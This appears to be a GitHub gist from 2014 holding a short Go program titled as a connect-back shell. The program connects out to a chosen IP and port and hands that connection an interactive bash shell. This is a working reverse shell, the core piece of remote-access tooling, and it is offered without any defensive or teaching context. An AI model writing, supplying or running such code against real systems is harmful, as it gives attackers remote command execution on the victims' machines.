Created
January 17, 2014 16:34
-
-
Save cryptix/8476512 to your computer and use it in GitHub Desktop.
Connect-Back shell in <50 lines of Go
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"fmt" | |
"io" | |
"log" | |
"net" | |
"os/exec" | |
) | |
var ( | |
dstIp = flag.String("dst", "127.0.0.1", "Destination IP") | |
dstPort = flag.Int("port", 3344, "Destination Port") | |
) | |
func main() { | |
flag.Parse() | |
dstAddr := fmt.Sprintf("%s:%d", *dstIp, *dstPort) | |
conn, err := net.Dial("tcp", dstAddr) | |
checkErr(err) | |
fmt.Println("Connected, spawing shell...") | |
shell := exec.Command("bash") | |
outp, err := shell.StdoutPipe() | |
checkErr(err) | |
inp, err := shell.StdinPipe() | |
checkErr(err) | |
go io.Copy(conn, outp) | |
go io.Copy(inp, conn) | |
err = shell.Run() | |
checkErr(err) | |
err = shell.Wait() | |
checkErr(err) | |
} | |
func checkErr(err error) { | |
if err != nil { | |
log.Fatal("FatalError:", err) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment